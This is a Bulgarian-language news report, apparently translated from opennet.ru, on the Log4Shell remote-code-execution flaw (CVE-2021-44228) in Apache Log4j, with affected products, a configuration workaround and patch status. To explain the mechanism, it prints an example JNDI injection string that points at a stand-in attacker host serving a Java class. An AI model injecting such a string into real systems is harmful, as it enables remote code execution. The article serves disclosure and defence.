Катастрофална уязвимост в Apache Log4j, засягаща много Java проекти

В Apache Log4j, популярна рамка за управление на логовете в Java приложения, е открита критична уязвимост, която позволява изпълнението на произволен код при запис на специално форматирана стойност в логове във формат "{jndi:URL}". Атаката може да бъде възможна на Java приложения, които записват стойности в лог от външни източници, например, при извеждане на проблемни стойности в съобщения за грешки.

Отбелязва се, че почти всички проекти, използващи рамки като Apache Struts, Apache Solr, Apache Druid или Apache Flink, са уязвими, включително Steam, Apple iCloud, клиенти и сървъри на играта Minecraft. Очаква се уязвимостта да доведе до вълна от масови атаки срещу корпоративни приложения, повтаряйки историята на критичните уязвимости в рамката Apache Struts, която, според приблизителни оценки, се прилага в уеб приложения на 65% от компаниите в списъка Fortune 100. Вече са регистрирани опити за сканиране на мрежата за уязвими системи.

Проблемът се усложнява, тъй като вече е публикуван работещ експлоит, но корекции за стабилните версии в момента не са формулирани. Идентификаторът на CVE все още не е присвоен. Корекция е включена само в тестовата версия log4j-2.15.0-rc1. Като временно решение за блокиране на уязвимостта се препоръчва задаване на параметъра log4j2.formatMsgNoLookups на стойност true.

Проблемът е породен от факта, че log4j поддържа обработка на специални маски "{}" в логовите низове, в които могат да се извършват заявки по JNDI (Java Naming and Directory Interface). Атаката се свежда до предаване на низ с подмяна "${jndi:ldap://attacker.com/a}", при обработката на който log4j ще изпрати на сървър attacker.com LDAP заявка за пътя до Java клас. Върнатият сървъра. път на атакуващия (например, http://second-stage.attacker.com/Exploit.class) ще бъде зареден и изпълнен в контекста на текущия процес, което позволява на атакуващия да постигне изпълнението на произволен код в системата с правата на текущото приложение.

Допълнение 1: Уязвимостите са получили идентификатор CVE-2021-44228.

Допълнение 2: Открит е начин за заобикаляне на защитата, добавена с версията log4j-2.15.0-rc1. Предложено е ново обновление log4j-2.15.0-rc2 с по-пълна защита срещу уязвимостта. В кода се подчертава изменение, свързано с липсата на аварийно прекратяване в случай на използване на неправилно форматиран JNDI URL.

Източник: opennet.ru